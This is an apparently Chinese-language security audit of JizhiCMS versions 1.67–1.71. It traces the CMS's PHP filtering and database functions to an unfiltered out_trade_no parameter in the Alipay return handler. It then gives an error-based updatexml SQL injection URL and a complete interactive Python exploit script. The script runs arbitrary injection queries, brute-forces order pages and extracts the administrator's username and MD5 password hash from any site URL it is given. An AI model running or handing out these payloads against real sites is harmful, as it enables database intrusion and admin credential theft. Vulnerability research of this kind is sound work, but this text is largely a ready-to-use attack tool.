查看一下进行过滤的函数
/**
参数过滤,格式化
**/
function format_param($value=null,$int=0){
if($value==null){ return '';}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}
//过滤XSS攻击
function SafeFilter(&$arr)
{
$ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javascript/','/vbscript/','/expression/','/applet/'
,'/meta/','/xml/','/blink/','/link/','/style/','/embed/','/object/','/frame/','/layer/','/title/','/bgsound/'
,'/base/','/onload/','/onunload/','/onchange/','/onsubmit/','/onreset/','/onselect/','/onblur/','/onfocus/',
'/onabort/','/onkeydown/','/onkeypress/','/onkeyup/','/onclick/','/ondblclick/','/onmousedown/','/onmousemove/'
,'/onmouseout/','/onmouseover/','/onmouseup/','/onunload/');
if (is_array($arr))
{
foreach ($arr as $key => $value)
{
if (!is_array($value))
{
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if (!get_magic_quotes_gpc()){
$value = addslashes($value);
}
}
$value = preg_replace($ra,'',$value); //删除非打印字符,粗暴式过滤xss可疑字符串
$arr[$key] = htmlentities(strip_tags($value)); //去除 HTML 和 PHP 标记并转换为 HTML 实体
}
else
{
SafeFilter($arr[$key]);
}
}
}
}
看一下执行的SQL语句的函数
// 查询一条
public function find($where=null,$order=null,$fields=null,$limit=1)
{
if( $record = $this->findAll($where, $order, $fields, 1) ){
return array_pop($record);
}else{
return FALSE;
}
}
跟进 findAll 函数
// 查询所有
public function findAll($conditions=null,$order=null,$fields=null,$limit=null)
{
$where = '';
if(is_array($conditions)){
$join = array();
foreach( $conditions as $key => $value ){
$value = '\''.$value.'\'';
$join[] = "{$key} = {$value}";
}
$where = "WHERE ".join(" AND ",$join);
}else{
if(null != $conditions)$where = "WHERE ".$conditions;
}
if(is_array($order)){
$where .= ' ORDER BY ';
$where .= implode(',', $order);
}else{
if($order!=null)$where .= " ORDER BY ".$order;
}
if(!empty($limit))$where .= " LIMIT {$limit}";
$fields = empty($fields) ? "*" : $fields;
$sql = "SELECT {$fields} FROM {$this->table} {$where}";
return $this->getData($sql);
}
在跟进一下getData函数
//获取数据
public function getData($sql)
{
if(!$result = $this->query($sql))return array();
if(!$this->Statement->rowCount())return array();
$rows = array();
while($rows[] = $this->Statement->fetch(PDO::FETCH_ASSOC)){}
$this->Statement=null;
array_pop($rows);
return $rows;
}
跟进query执行函数
//执行SQL语句并检查是否错误
public function query($sql){
$this->filter[] = $sql;
$this->Statement = $this->pdo->query($sql);
if ($this->Statement) {
return $this;
}else{
$msg = $this->pdo->errorInfo();
if($msg[2]) exit('数据库错误:' . $msg[2] . end($this->filter));
}
}
看到$msg = $this->pdo->errorInfo();
语句,也就是说会把数据库报错信息打印在页面上并显示出来并退出
一套分析下来没有发现对sql语句的过滤,如果得到的数据没有经过format_param
过滤,会产生注入
例如:
function exploit(){
M('member')->find(['username'=>$_GET['name']]);
}
如果直接这样GET POST REQUEST 带入数据库 会产生报错注入
例如 ./exploit/name=123' (加一个引号会报错,如果引号没过滤)
现在只需要寻找类型是这样没过滤直接带入数据库的语句就行了
简单寻找下其实这样的地方挺多的,拿一个位置举例子
这里是一个支付插件的位置,蓝色方块1增加代码模拟开通支付宝功能通过验证
可以看到这个函数只使用[htmlspecialchars]来过滤了xss,sql语句没有过滤,用刚刚的方法来注入
可以看到的确出现了sql语句和数据库错误
直接报错注入获取敏感信息mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+"
import requests
import re
"""
官网url : https://www.jizhicms.cn/
"""
def main():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 极致CMS 1.67 - 171 \033[0m')
print('+ \033[36m使用格式: python3 CNVD-2020-49710.py \033[0m')
print('+------------------------------------------')
while True:
poc = str(input('选择使用的poc:\n'
'1.sql注入\n'
'2.用户购物车爆破\n'
'3.GET 网站管理员账号密码\n'
'4.退出 quit\n'
'poc:'))
print('------------------ peiqi -----------------------')
if poc == '1':
poc_1()
elif poc == '2':
poc_2()
elif poc == '3':
poc_3()
elif poc == '4':
break
else:
print('参数错误,重新输入')
def poc_1():
## poc_1 ---> sql注入漏洞点( Home/c/MypayController.php [alipay_notify_pay])
## 使用范围 极致cms 1.71 + 1.7 + 1.67 版本
"""
function alipay_return_pay(){
extendFile('pay/alipay/AlipayServiceCheck.php');
//支付宝公钥,账户中心->密钥管理->开放平台密钥,找到添加了支付功能的应用,根据你的加密类型,查看支付宝公钥
$alipayPublicKey=$this->webconf['alipay_public_key'];
$aliPay = new \AlipayServiceCheck($alipayPublicKey);
//验证签名
$result = $aliPay->rsaCheck($_GET,$_GET['sign_type']);
$result=true; <<--- (添加的php代码 模拟打开支付宝 并通过签名验证)
if($result===true){
//同步回调一般不处理业务逻辑,显示一个付款成功的页面,或者跳转到用户的财务记录页面即可。
//echo '<h1>付款成功</h1>';
$out_trade_no = htmlspecialchars($_GET['out_trade_no']); << ---- (漏洞位置,只过滤了xss,没有调用函数过滤sql语句)
$orderno = $out_trade_no;
$paytime = time();
$order = M('orders')->find(['orderno'=>$orderno]); << --- (执行sql注入的语句)
"""
try:
exploit_url = str(input("攻击网站url:\n"))
while True:
payload = str(input("请输入你的payload(sql)语句:\n"))
# mypay/alipay_return_pay?out_trade_no=1
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(" + payload + "),0x7e),1)--+"
# print('你的payload语句为: \n', payload_url)
response = requests.get(payload_url)
# print(response.text)
data = re.search(r'~(.*?)~', response.text).group(1)
if data == []:
print('[!!] sql语句错误 或者 版本高于 [极致cms 1.71 -> 发布时间 2020-05-25]')
else:
print('得到的数据为:\n', data)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')
# http://jizhicms.com/user/orderdetails/orderno/No20200712213457.html
def poc_2():
## poc_2 ---> 用户购物车页面获取 (Home/c/UserController.php [orderdetails])
## 漏洞点 ---> 无用户cookie id 的验证
## 使用范围 极致cms 1.8以下全版本 (当前最新 v1.8 更新时间:6月30日)
"""
function orderdetails(){
$orderno = $this->frparam('orderno',1);
$order = M('orders')->find(['orderno'=>$orderno]);
if($orderno && $order){
/*
if($order['isshow']!=1){
//超时或者已支付
if($order['isshow']==0){
$msg = '订单已删除';
}
if($order['isshow']==3){
$msg = '订单已过期,不可支付!';
}
if($order['isshow']==2){
$msg = '订单已支付,请勿重复操作!';
}
if($this->frparam('ajax')){
JsonReturn(['code'=>1,'msg'=>$msg]);
}
Error($msg);
}
*/
$carts = explode('||',$order['body']);
$new = [];
foreach($carts as $k=>$v){
$d = explode('-',$v);
if($d[0]!=''){
//兼容多模块化
if(isset($this->classtypedata[$d[0]])){
$type = $this->classtypedata[$d[0]];
$res = M($type['molds'])->find(['id'=>$d[1]]);
$new[] = ['info'=>$res,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}else{
$new[] = ['info'=>false,'num'=>$d[2],'tid'=>$d[0],'id'=>$d[1],'price'=>$d[3]];
}
}
}
$this->carts = $new;
$this->order = $order;
$this->display($this->template.'/user/orderdetails');
}
}
"""
try:
exploit_url = str(input("攻击网站url:\n"))
year_day = str(input("输入日期(例如:20200712):"))
shop = []
# 遍历所有出现的用户购物车页面
for num in range(100000,999999):
#payload_url = "user/orderdetails/orderno/No" + year_day + str(num) + ".html"
payload_url = "user/orderdetails/orderno/No20200712213927.html"
response = requests.get(exploit_url + payload_url)
# 打印结果
if '总金额' in response.text:
print('购物车页面:',payload_url)
shop.append(payload_url)
for page in shop:
print(page)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')
def poc_3():
## poc_3 ---> 得到账号密码 ( Home/c/MypayController.php [alipay_notify_pay])
## 使用范围 ---> 极致cms 1.71 + 1.7 + 1.67 版本
try:
exploit_url = str(input("攻击网站url:\n"))
# payload --> updatexml(1,concat(0x7e,(select distinct length(concat(0x23,name,0x3a,pass,0x23)) from jz_level limit 0,1),0x7e),1)--+
# 用户名 + 密码 长度
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct length(concat(0x23,name,0x3a,pass,0x23)) from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
str_long = re.search(r'~(.*?)~',response.text).group(1)
#print(str_long)
# 得到账号密码,密码md5格式
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct substring(concat(0x23,name,0x3a,pass,0x23),1,32) from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
admin_name_1 = re.search(r"~#(.*?)'", response.text).group(1)
#print(admin_name_1)
payload_url = exploit_url + "mypay/alipay_return_pay?out_trade_no=1%27 and updatexml(1,concat(0x7e,(select distinct substring(concat(0x23,name,0x3a,pass,0x23),32," + str(int(str_long) - 32) +") from jz_level limit 0,1),0x7e),1)--+"
response = requests.get(payload_url)
admin_name_2 = re.search(r'~(.*?)~', response.text).group(1)
#print(admin_name_2)
# 分割账号密码
admin_passwd = admin_name_1 + admin_name_2
admin_passwd = admin_passwd.split(':')
admin = admin_passwd[0]
passwd = admin_passwd[1]
#print(admin)
#print(passwd)
print("成功得到账号密码:\n"
"用户名:",admin,
"\n密码(md5):",passwd)
print('------------------ peiqi -----------------------')
except:
print('出现错误')
print('------------------ peiqi -----------------------')
if __name__ == '__main__':
main()
购物车爆破没有利用点,关于审计部分参考极致CMS审计